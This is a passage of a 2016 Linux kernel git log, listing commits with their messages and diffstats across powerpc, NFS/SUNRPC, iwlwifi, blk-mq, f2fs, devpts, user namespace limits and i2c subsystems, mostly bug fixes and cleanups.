Russell Currey Reviewed-by: Andrew Donnellan Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/eeh-powernv.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 04fec21c06e35b169a83e75a84a015ab4606bf5e Author: Russell Currey Date: Mon Sep 12 14:17:22 2016 +1000 powerpc/eeh: Null check uses of eeh_pe_bus_get eeh_pe_bus_get() can return NULL if a PCI bus isn't found for a given PE. Some callers don't check this, and can cause a null pointer dereference under certain circumstances. Fix this by checking NULL everywhere eeh_pe_bus_get() is called. Fixes: 8a6b1bc70dbb ("powerpc/eeh: EEH core to handle special event") Cc: stable@vger.kernel.org # v3.11+ Signed-off-by: Russell Currey Reviewed-by: Andrew Donnellan Signed-off-by: Michael Ellerman arch/powerpc/kernel/eeh_driver.c | 8 ++++++++ arch/powerpc/platforms/powernv/eeh-powernv.c | 5 +++++ 2 files changed, 13 insertions(+) commit a24553dd02dc6c7d2912af0b4b9c7f833c90e561 Author: Nicholas Piggin Date: Tue Sep 13 13:08:40 2016 +1000 powerpc/pseries: Remove unnecessary syscall trampoline When we originally added the ability to split the exception vectors from the kernel (commit 1f6a93e4c35e ("powerpc: Make it possible to move the interrupt handlers away from the kernel" 2008-09-15)), the LOAD_HANDLER() macro used an addi instruction to compute the offset of the common handler from the kernel base address. Using addi meant the handler had to be within 32K of the kernel base address, due to the addi instruction taking a signed immediate value. That necessitated creating a trampoline for the system call handler, because system_call_common (in entry64.S) is not linked within 32K of the kernel base address. Later in commit 61e2390ede3c ("powerpc: Make load_hander handle upto 64k offset" 2012-11-15) we changed LOAD_HANDLER to take a 64K offset, by changing it to use ori. Although system_call_common is not in head_64.S or exceptions-64s.S, it is included in head-y, which causes it to be linked early in the kernel text, so in practice it ends up below 64K. Additionally if it can't be placed below 64K the linker will fail to build with a "relocation truncated to fit" error. So remove the trampoline. Newer toolchains are able to work out that the ori in LOAD_HANDLER only takes a 16 bit offset, and so they generate a 16 bit relocation. Older toolchains (binutils 2.22 at least) are not so smart, so we have to add the @l annotation to tell the assembler to generate a 16 bit relocation. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 2 +- arch/powerpc/kernel/exceptions-64s.S | 8 ++------ 2 files changed, 3 insertions(+), 7 deletions(-) commit 40e1b1cfb529891307b21f6e336d6375d4662cb7 Author: Nicholas Piggin Date: Tue Sep 13 13:08:39 2016 +1000 powerpc/pseries: Fix HV facility unavailable to use correct handler The 0xf80 hv_facility_unavailable trampoline branches to the 0xf60 handler. This works because they both do the same thing, but it should be fixed. Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 98b665da5751b10f3f5f3ce3ba75983d52bd949b Author: Russell Currey Date: Thu Jul 28 15:05:03 2016 +1000 powerpc/powernv/pci: Add PHB register dump debugfs handle On EEH events the kernel will print a dump of relevant registers. If EEH is unavailable (i.e. CONFIG_EEH is disabled, a new platform doesn't have EEH support, etc) this information isn't readily available. Add a new debugfs handler to trigger a PHB register dump, so that this information can be made available on demand. Signed-off-by: Russell Currey Reviewed-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/pci-ioda.c | 39 ++++++++++++++++++++++++++++++- 1 file changed, 38 insertions(+), 1 deletion(-) commit 3eabf88579032e3c73e7b0a8495f8dbe8c407f46 Author: Benjamin Herrenschmidt Date: Fri Aug 19 14:22:39 2016 +0530 powerpc/64/kexec: Remove BookE special default_machine_kexec_prepare() The only difference is now the TCE table check which doesn't need to be ifdef'ed out, it will basically do nothing on BookE (it is only useful for ancient IBM machines). Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman arch/powerpc/kernel/machine_kexec_64.c | 16 ---------------- 1 file changed, 16 deletions(-) commit b970b41ea68ace17f389c8387c1df4a86aa039a0 Author: Benjamin Herrenschmidt Date: Fri Aug 19 14:22:38 2016 +0530 powerpc/64/kexec: Copy image with MMU off when possible Currently we turn the MMU off after copying the image, and we make sure there is no overlap between the hash table and the target pages in that case. That doesn't work for Radix however. In that case, the page tables are scattered and we can't really enforce that the target of the image isn't overlapping one of them. So instead, let's turn the MMU off before copying the image in radix mode. Thankfully, in radix mode, even under a hypervisor, we know we don't have the same kind of RMA limitations that hash mode has. While at it, also turn the MMU off early when using hash in non-LPAR mode, that way we can get rid of the collision check completely. Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Aneesh Kumar K.V Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/kernel/machine_kexec_64.c | 49 +++++++++++++++------------------- arch/powerpc/kernel/misc_64.S | 18 ++++++++++--- 2 files changed, 36 insertions(+), 31 deletions(-) commit be34d300597a7a4fb38c6e3f9929af2f1faa23b8 Author: Aneesh Kumar K.V Date: Tue Aug 23 16:27:48 2016 +0530 powerpc/mm: Add radix flush all with IS=3 Signed-off-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman .../powerpc/include/asm/book3s/64/tlbflush-radix.h | 1 + arch/powerpc/mm/tlb-radix.c | 24 ++++++++++++++++++++++ 2 files changed, 25 insertions(+) commit fe036a0605d60d6c81ffdcd6241e9ae0013fe235 Author: Benjamin Herrenschmidt Date: Fri Aug 19 14:22:37 2016 +0530 powerpc/64/kexec: Fix MMU cleanup on radix Just using the hash ops won't work anymore since radix will have NULL in there. Instead create an mmu_cleanup_all() function which will do the right thing based on the MMU mode. For Radix, for now I clear UPRT and the PTCR, effectively switching back to Radix with no partition table setup. Currently set it to NULL on BookE thought it might be a good idea to wipe the TLB there (Scott ?) Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Aneesh Kumar K.V Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/include/asm/mmu-book3e.h | 3 +++ arch/powerpc/include/asm/mmu.h | 4 ++++ arch/powerpc/kernel/machine_kexec_64.c | 12 ++---------- arch/powerpc/mm/pgtable-book3s64.c | 9 +++++++++ arch/powerpc/mm/pgtable-radix.c | 12 ++++++++++++ 5 files changed, 30 insertions(+), 10 deletions(-) commit fc48bad53142c991a5280940fd7ee8d226697b2c Author: Benjamin Herrenschmidt Date: Fri Aug 19 14:22:35 2016 +0530 powerpc/64/kexec: NULL check "clear_all" in kexec_sequence With Radix, it can be NULL even on !BOOKE these days so replace the ifdef with a NULL check which is cleaner anyway. Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Aneesh Kumar K.V Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/kernel/misc_64.S | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit a6cebd41b83a271d5b1dcaa5b4676df899f8d4ea Author: Trond Myklebust Date: Tue Sep 20 14:33:43 2016 -0400 SUNRPC: Fix setting of buffer length in xdr_set_next_buffer() Use xdr->nwords to tell us how much buffer remains. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker net/sunrpc/xdr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ace0e14f4fe5f5944d27d8bd4d3492ad0d2b09e2 Author: Trond Myklebust Date: Tue Sep 20 14:33:42 2016 -0400 SUNRPC: Fix corruption of xdr->nwords in xdr_copy_to_scratch When we copy the first part of the data, we need to ensure that value of xdr->nwords is updated as well. Do so by calling __xdr_inline_decode() Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker net/sunrpc/xdr.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 78d04af4995a1358039f4406bd31c28faedfa030 Author: Trond Myklebust Date: Tue Sep 20 14:34:24 2016 -0400 NFS: nfs_prime_dcache must validate the filename Before we try to stash it in the dcache, we need to at least check that the filename passed to us by the server is non-empty and doesn't contain any illegal '\0' or '/' characters. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/dir.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 34355ee0d5480f0f437db4d418bd6c494883f708 Author: Jyri Sarha Date: Mon Sep 12 18:45:30 2016 +0300 drm/tilcdc: Remove "default" from blue-and-red-wiring property binding Remove "default" keyword from blue-and-red-wiring devicetree property binding document. The code does not support and there is no intention to support it. Reported-by: Rob Herring Signed-off-by: Jyri Sarha Documentation/devicetree/bindings/display/tilcdc/tilcdc.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 30457676e2289378094ed67b26ce3bfe312a0246 Author: Wei Yongjun Date: Sat Sep 10 12:32:57 2016 +0000 drm/tilcdc: Fix non static symbol warning Fixes the following sparse warning: drivers/gpu/drm/tilcdc/tilcdc_drv.c:64:5: warning: symbol 'tilcdc_atomic_check' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_drv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 952e8faec53ec1de045f44f48a82e5069d2f17b4 Author: Baoyou Xie Date: Thu Sep 8 19:29:24 2016 +0800 drm/tilcdc: mark symbols static where possible We get 3 warnings when building kernel with W=1: drivers/gpu/drm/tilcdc/tilcdc_slave_compat.c:142:29: warning: no previous prototype for 'tilcdc_get_overlay' [-Wmissing-prototypes] drivers/gpu/drm/tilcdc/tilcdc_slave_compat.c:198:13: warning: no previous prototype for 'tilcdc_convert_slave_node' [-Wmissing-prototypes] drivers/gpu/drm/tilcdc/tilcdc_slave_compat.c:264:12: warning: no previous prototype for 'tilcdc_slave_compat_init' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_slave_compat.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0fd86779f04afcddbcff0ecb7ff3b487d17add7c Author: Baoyou Xie Date: Thu Sep 8 19:08:56 2016 +0800 drm/tilcdc: add missing header dependencies We get 4 warnings when building kernel with W=1: drivers/gpu/drm/tilcdc/tilcdc_tfp410.c:393:12: warning: no previous prototype for 'tilcdc_tfp410_init' [-Wmissing-prototypes] drivers/gpu/drm/tilcdc/tilcdc_tfp410.c:398:13: warning: no previous prototype for 'tilcdc_tfp410_fini' [-Wmissing-prototypes] drivers/gpu/drm/tilcdc/tilcdc_panel.c:443:12: warning: no previous prototype for 'tilcdc_panel_init' [-Wmissing-prototypes] drivers/gpu/drm/tilcdc/tilcdc_panel.c:448:13: warning: no previous prototype for 'tilcdc_panel_fini' [-Wmissing-prototypes] In fact, these functions are declared in drivers/gpu/drm/tilcdc/tilcdc_tfp410.h, drivers/gpu/drm/tilcdc/tilcdc_panel.h, so this patch adds missing header dependencies. Signed-off-by: Baoyou Xie Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_panel.c | 1 + drivers/gpu/drm/tilcdc/tilcdc_tfp410.c | 1 + 2 files changed, 2 insertions(+) commit 474aa3dd3e1f3ae410115fe6624ba48fc9791bc5 Merge: 5a79d59 f61f860 Author: Thomas Gleixner Date: Thu Sep 22 22:49:52 2016 +0200 Merge tag 'irqchip-core-4.9' of git://git.infradead.org/users/jcooper/linux into irq/core Pull irqchip core changes for v4.9 from Jason Cooper - jcore: Add AIC driver - mips-gic: Use for_each_set_bit - mvebu: Add PIC driver commit 1b792f2f92784c00db2e6431496e437855d6f12a Author: Jens Axboe Date: Wed Sep 21 10:12:13 2016 -0600 blk-mq: add flag for drivers wanting blocking ->queue_rq() If a driver sets BLK_MQ_F_BLOCKING, it is allowed to block in its ->queue_rq() handler. For that case, blk-mq ensures that we always calls it from a safe context. Signed-off-by: Jens Axboe Tested-by: Josef Bacik block/blk-mq.c | 2 +- include/linux/blk-mq.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 7f66ea03644e197a29af5a00a6e26ff120d8edd0 Author: Johannes Berg Date: Wed Sep 14 10:20:10 2016 +0200 iwlwifi: mvm: correct rate_idx bounds-check The upper bound IWL_RATE_COUNT_LEGACY should be used with a >= check, rejecting the value itself; fix that. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 63581af3f31e0dbea112b83f77c4fbb6a10e1406 Author: Christoph Hellwig Date: Thu Sep 22 11:38:23 2016 -0700 blk-mq: remove non-blocking pass in blk_mq_map_request bt_get already does a non-blocking pass as well as running the queue when scheduling internally, no need to duplicate it. Signed-off-by: Christoph Hellwig Signed-off-by: Jens Axboe block/blk-mq.c | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) commit 75cfe338b8a6fadaa28879a969047554701a7589 Author: Luca Coelho Date: Wed Sep 14 11:54:36 2016 +0300 iwlwifi: mvm: bail out if CTDP start operation fails We were assigning the return value of iwl_mvm_ctdp_command() to a variable, but never checking it. If this command fails, we should not allow the interface up process to proceed, since it is potentially dangerous to ignore thermal management requirements. Fixes: commit 5c89e7bc557e ("iwlwifi: mvm: add registration to cooling device") Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit cc2f41f84fdc68074e228397247acd32ad06440a Author: Johannes Berg Date: Fri Sep 9 09:34:46 2016 +0200 iwlwifi: pcie: avoid variable shadowing in TFD helpers The various TFD/TB helpers have two code paths depending on the type of TFD supported, with variable shadowing due to the new if branches. Move the fall-through code into else branches to avoid variable shadowing. While doing so, rename some of the variables and do some other cleanups (like removing void * casts of void * pointers.) Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 19 ++++----- drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 47 ++++++++++++---------- 2 files changed, 33 insertions(+), 33 deletions(-) commit 191167160c1380e59156dff0c2d7e74aa0ba5770 Author: Oren Givon Date: Thu Sep 8 13:45:54 2016 +0300 iwlwifi: add two new 9560 series PCI IDs Add two new PCI IDs for the 9560 series. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 2 ++ 1 file changed, 2 insertions(+) commit f2082a53eea9839d9e3762405315c2a31d24d427 Author: Sara Sharon Date: Wed Aug 31 14:13:53 2016 +0300 iwlwifi: mvm: cleanup usage of init_dbg parameter Move the init_dbg check to earlier in the function to simplify the code. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw.c | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit acf91ec384dd4c7c2c88cbaa2e0374e537123c1f Author: Laura Abbott Date: Thu Sep 22 11:20:42 2016 -0700 Bluetooth: btwilink: Save the packet type before sending Running with KASAN produces some messages: BUG: KASAN: use-after-free in ti_st_send_frame+0x9c/0x16c at addr ffffffc064868fe8 Read of size 1 by task kworker/u17:1/1266 Hardware name: HiKey Development Board (DT) Workqueue: hci0 hci_cmd_work Call trace: [] dump_backtrace+0x0/0x178 [] show_stack+0x20/0x28 [] dump_stack+0xa8/0xe0 [] print_trailer+0x110/0x174 [] object_err+0x4c/0x5c [] kasan_report_error+0x254/0x54c [] kasan_report+0x64/0x70 [] __asan_load1+0x4c/0x54 [] ti_st_send_frame+0x9c/0x16c [] hci_send_frame+0xb4/0x118 [] hci_cmd_work+0xcc/0x154 [] process_one_work+0x26c/0x7a4 [] worker_thread+0x9c/0x73c [] kthread+0x138/0x154 [] ret_from_fork+0x10/0x40 The packet is being accessed for statistics after it has been freed. Save the packet type before sending for statistics afterwards. Signed-off-by: Laura Abbott Signed-off-by: Marcel Holtmann drivers/bluetooth/btwilink.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 56f2929b0f913163ba48c22ea4ae558ac61d3d1c Author: Sara Sharon Date: Wed Aug 31 12:37:55 2016 +0300 iwlwifi: mvm: cleanup redundant no_power_up_nic_in_init config This is never really used anymore. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-config.h | 1 - drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 46 ++++++++----------------- 2 files changed, 15 insertions(+), 32 deletions(-) commit 58cbbee2391ce3876e6eee80a4f2a7f025859c52 Author: Vadim Pasternak Date: Thu Sep 22 21:13:42 2016 +0000 x86/platform/mellanox: Introduce support for Mellanox systems platform Enable system support for the Mellanox Technologies platform, which provides support for the next Mellanox basic systems: "msx6710", "msx6720", "msb7700", "msn2700", "msx1410", "msn2410", "msb7800", "msn2740", "msn2100" and also various number of derivative systems from the above basic types. The Kconfig controlling compilation of this code is: MLX_PLATFORM Signed-off-by: Vadim Pasternak Cc: jiri@resnulli.us Cc: gregkh@linuxfoundation.org Cc: platform-driver-x86@vger.kernel.org Cc: geert@linux-m68k.org Cc: linux@roeck-us.net Cc: akpm@linux-foundation.org Cc: mchehab@kernel.org Cc: davem@davemloft.net Cc: kvalo@codeaurora.org Link: http://lkml.kernel.org/r/1474578822-33805-1-git-send-email-vadimp@mellanox.com Signed-off-by: Thomas Gleixner MAINTAINERS | 6 + arch/x86/Kconfig | 12 ++ arch/x86/platform/Makefile | 1 + arch/x86/platform/mellanox/Makefile | 1 + arch/x86/platform/mellanox/mlx-platform.c | 266 ++++++++++++++++++++++++++++++ 5 files changed, 286 insertions(+) commit a1d617d8f134679741b0b35e8e1436b015ac5538 Author: Jeff Layton Date: Sat Sep 17 18:17:39 2016 -0400 nfs: allow blocking locks to be awoken by lock callbacks Add a waitqueue head to the client structure. Have clients set a wait on that queue prior to requesting a lock from the server. If the lock is blocked, then we can use that to wait for wakeups. Note that we do need to do this "manually" since we need to set the wait on the waitqueue prior to requesting the lock, but requesting a lock can involve activities that can block. However, only do that for NFSv4.1 locks, either by compiling out all of the waitqueue handling when CONFIG_NFS_V4_1 is disabled, or skipping all of it at runtime if we're dealing with v4.0, or v4.1 servers that don't send lock callbacks. Note too that even when we expect to get a lock callback, RFC5661 section 20.11.4 is pretty clear that we still need to poll for them, so we do still sleep on a timeout. We do however always poll at the longest interval in that case. Signed-off-by: Jeff Layton [Anna: nfs4_retry_setlk() "status" should default to -ERESTARTSYS] Signed-off-by: Anna Schumaker fs/nfs/callback_proc.c | 4 ++ fs/nfs/nfs4client.c | 3 ++ fs/nfs/nfs4proc.c | 94 ++++++++++++++++++++++++++++++++++++++++++++++- include/linux/nfs_fs_sb.h | 3 ++ 4 files changed, 103 insertions(+), 1 deletion(-) commit 5d4c0af41fd4cc26cb75af4f3de7fb63c91209c1 Author: Yunlei He Date: Sun Sep 18 08:16:56 2016 +0800 f2fs: preallocate blocks for encrypted file This patch allow preallocates data blocks for buffered aio writes in encrypted file. Signed-off-by: Yunlei He Reviewed-by: Chao Yu [Jaegeuk Kim: fix to avoid BUG_ON] Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 6 +----- fs/f2fs/segment.c | 4 +--- 2 files changed, 2 insertions(+), 8 deletions(-) commit 5bc994a043470c3ee544edaefbf93406d00f8de7 Author: Chao Yu Date: Sun Sep 18 23:30:08 2016 +0800 f2fs: show dirty inode number This patch enables showing dirty inode number in procfs. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/debug.c | 3 +++ fs/f2fs/f2fs.h | 3 ++- 2 files changed, 5 insertions(+), 1 deletion(-) commit 8b038c70dfe4fd7b62573917a9e976f826ac6ad3 Author: Chao Yu Date: Sun Sep 18 23:30:07 2016 +0800 f2fs: support IO error injection This patch adds to support IO error injection for testing IO error tolerance of f2fs. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 5 +++++ fs/f2fs/f2fs.h | 3 +++ fs/f2fs/super.c | 1 + 3 files changed, 9 insertions(+) commit 866969668aebe9626c083b9ababc8f88454ce049 Author: Chao Yu Date: Sun Sep 18 23:30:04 2016 +0800 f2fs: fix to return error number of read_all_xattrs correctly We treat all error in read_all_xattrs as a no memory error, which covers the real reason of failure in it. Fix it by return correct errno in order to reflect the real cause. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/xattr.c | 37 ++++++++++++++++++++++--------------- 1 file changed, 22 insertions(+), 15 deletions(-) commit ebfa732217fd1dba7118aa5d37455fbf2f94c6b7 Author: Chao Yu Date: Sun Sep 18 23:30:03 2016 +0800 f2fs: make f2fs_filetype_table static There is no more user of f2fs_filetype_table outside of dir.c, make it static. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/dir.c | 2 +- fs/f2fs/f2fs.h | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) commit 93f0a88bd4ad99a515f500a09f4a489ff03073eb Author: Eric W. Biederman Date: Tue Dec 8 00:36:51 2015 -0600 devpts: Change the owner of /dev/pts/ptmx to the mounter of /dev/pts In 99.99% of the cases only root in a user namespace can mount /dev/pts and in those cases the owner of /dev/pts/ptmx will remain root.root In the oddball case where someone else has CAP_SYS_ADMIN this code modifies the /dev/pts mount code to use current_fsuid and current_fsgid as the values to use when creating the /dev/ptmx inode. As is done when any other file is created. This is a code simplification, and it allows running without a root user entirely. Signed-off-by: "Eric W. Biederman" fs/devpts/inode.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit 985e5d856cbcfc17a6646740f2200eb625c76e89 Author: Eric W. Biederman Date: Wed Apr 20 12:02:09 2016 -0500 devpts: Remove sync_filesystems devpts does not and never will have anything to sync so don't bother calling sync_filesystems on remount. Signed-off-by: "Eric W. Biederman" fs/devpts/inode.c | 1 - 1 file changed, 1 deletion(-) commit 0d126a7ff77a02e88b6bf37a726abf8990226bf4 Author: Eric W. Biederman Date: Tue Dec 22 17:39:18 2015 -0600 devpts: Make devpts_kill_sb safe if fsi is NULL Signed-off-by: "Eric W. Biederman" fs/devpts/inode.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit ec0a9ba6f201bbb4801344aa11c5d13c1ca27675 Author: Eric W. Biederman Date: Tue Apr 19 17:52:53 2016 -0500 devpts: Simplify devpts_mount by using mount_nodev Now that all of the work of setting up a superblock has been moved to devpts_fill_super simplify devpts_mount by calling mount_nodev instead of rolling mount_nodev by hand. Signed-off-by: "Eric W. Biederman" fs/devpts/inode.c | 19 +------------------ 1 file changed, 1 insertion(+), 18 deletions(-) commit 7dd17f713474504fa6d61d666e27b02e4a608abe Author: Eric W. Biederman Date: Tue Apr 19 17:51:04 2016 -0500 devpts: Move the creation of /dev/pts/ptmx into fill_super The code makes more sense here and things are just clearer. Signed-off-by: "Eric W. Biederman" fs/devpts/inode.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 208904793abad8892422edad0e712f2d939c496b Author: Eric W. Biederman Date: Wed Apr 20 12:01:39 2016 -0500 devpts: Move parse_mount_options into fill_super Signed-off-by: "Eric W. Biederman" fs/devpts/inode.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit df75e7748bae1c7098bfa358485389b897f71305 Author: Eric W. Biederman Date: Thu Sep 22 13:08:36 2016 -0500 userns: When the per user per user namespace limit is reached return ENOSPC The current error codes returned when a the per user per user namespace limit are hit (EINVAL, EUSERS, and ENFILE) are wrong. I asked for advice on linux-api and it we made clear that those were the wrong error code, but a correct effor code was not suggested. The best general error code I have found for hitting a resource limit is ENOSPC. It is not perfect but as it is unambiguous it will serve until someone comes up with a better error code. Signed-off-by: "Eric W. Biederman" fs/namespace.c | 2 +- ipc/namespace.c | 2 +- kernel/cgroup.c | 2 +- kernel/pid_namespace.c | 2 +- kernel/user_namespace.c | 2 +- kernel/utsname.c | 2 +- net/core/net_namespace.c | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) commit beb86f29c9c7f2d04f9a42c4c61cc469c3689779 Author: Tom St Denis Date: Thu Sep 22 12:20:58 2016 -0400 drm/amd/amdgpu: Clean up afmt allocation in DCEv6. (v2) v2: minor build fix Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) commit d2f3a7f9187b0c6a64276d598cd6157437c5a336 Author: Jeff Layton Date: Sat Sep 17 18:17:38 2016 -0400 nfs: move nfs4 lock retry attempt loop to a separate function This also consolidates the waiting logic into a single function, instead of having it spread across two like it is now. Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 49 ++++++++++++++++++++++--------------------------- 1 file changed, 22 insertions(+), 27 deletions(-) commit 1ea67dbd9828278188fb846972c3c368b0ef23a1 Author: Jeff Layton Date: Sat Sep 17 18:17:37 2016 -0400 nfs: move nfs4_set_lock_state call into caller We need to have this info set up before adding the waiter to the waitqueue, so move this out of the _nfs4_proc_setlk and into the caller. That's more efficient anyway since we don't need to do this more than once if we end up waiting on the lock. Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit db783688d4a20bae1b77c5c96a0ad3eb3079f9f6 Author: Jeff Layton Date: Sat Sep 17 18:17:36 2016 -0400 nfs: add handling for CB_NOTIFY_LOCK in client For now, the callback doesn't do anything. Support for that will be added in later patches. Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/callback.h | 9 +++++++++ fs/nfs/callback_proc.c | 12 ++++++++++++ fs/nfs/callback_xdr.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++- 3 files changed, 71 insertions(+), 1 deletion(-) commit a8ce377a5db8d32b08c3bcc1c5d70cad64a0b21d Author: Jeff Layton Date: Sat Sep 17 18:17:35 2016 -0400 nfs: track whether server sets MAY_NOTIFY_LOCK flag We want to handle the two cases differently, such that we poll more aggressively when we don't expect a callback. Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/nfs4_fs.h | 1 + fs/nfs/nfs4proc.c | 2 ++ 2 files changed, 3 insertions(+) commit eed7c4143dd993ef380340af64b8f2e7a79102c8 Author: Jeff Layton Date: Sat Sep 17 18:17:34 2016 -0400 nfs: add a new NFS4_OPEN_RESULT_MAY_NOTIFY_LOCK constant As defined in RFC 5661, section 18.16. Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker include/uapi/linux/nfs4.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 66f570ab7307ad613b0d800fff27aba316014eaf Author: Jeff Layton Date: Sat Sep 17 18:17:33 2016 -0400 nfs: use safe, interruptible sleeps when waiting to retry LOCK We actually want to use TASK_INTERRUPTIBLE sleeps when we're in the process of polling for a NFSv4 lock. If there is a signal pending when the task wakes up, then we'll be returning an error anyway. So, we might as well wake up immediately for non-fatal signals as well. That allows us to return to userland more quickly in that case, but won't change the error that userland sees. Also, there is no need to use the *_unsafe sleep variants here, as no vfs-layer locks should be held at this point. Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 75575ddf29cbbf8e3c96fb02ae80a33f22054aad Author: Jeff Layton Date: Sat Sep 17 18:17:32 2016 -0400 nfs: eliminate pointless and confusing do_vfs_lock wrappers Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/file.c | 9 ++------- fs/nfs/nfs4proc.c | 15 +++++---------- 2 files changed, 7 insertions(+), 17 deletions(-) commit b60475c9401bf89a2b14918fca0a220a15867ace Author: Jeff Layton Date: Sat Sep 17 18:17:31 2016 -0400 nfs: the length argument to read_buf should be unsigned Since it gets passed through to xdr_inline_decode, we might as well have read_buf expect what it expects -- a size_t. Signed-off-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/callback_xdr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9c722e406a64db181f6a7b53a19a58fe61501f99 Author: Eric W. Biederman Date: Thu Sep 22 12:52:03 2016 -0500 userns; Document per user per user namespace limits. Signed-off-by: "Eric W. Biederman" Documentation/sysctl/README | 1 + Documentation/sysctl/user.txt | 66 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 67 insertions(+) commit 72cf8c565cf4e25312fb9fa65d306ae736104ade Author: David Wu Date: Thu Sep 22 19:29:24 2016 +0800 i2c: rk3x: Fix variable 'min_total_ns' unused warning This patch fixs the following warning: drivers/i2c/busses/i2c-rk3x.c: In function 'rk3x_i2c_v1_calc_timings': drivers/i2c/busses/i2c-rk3x.c:745:41: warning: variable 'min_total_ns' set but not used [-Wunused-but-set-variable] Reported-by: Wolfram Sang Signed-off-by: David Wu Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-rk3x.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit a8a7d09e7304b107957e8c45882cdbb5b51bd111 Author: David Wu Date: Thu Sep 22 19:29:23 2016 +0800 i2c: rk3x: Fix sparse warning This patch fixes the following sparse warning: drivers/i2c/busses/i2c-rk3x.c:888:17: warning: cast truncates bits from constant value (ffffffffff00 becomes ffffff00) Reported-by: Wolfram Sang Signed-off-by: David Wu Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-rk3x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 318ce2782a2732cadb422c6a76ebeb973ecd63cb Author: Mika Westerberg Date: Tue Sep 20 16:59:25 2016 +0300 i2c / ACPI: Do not touch an I2C device if it belongs to another adapter When enumerating I2C devices connected to an I2C adapter we scan the whole namespace (as it is possible to have devices anywhere in that namespace, not just below the I2C adapter device) and add each found device to the I2C bus in 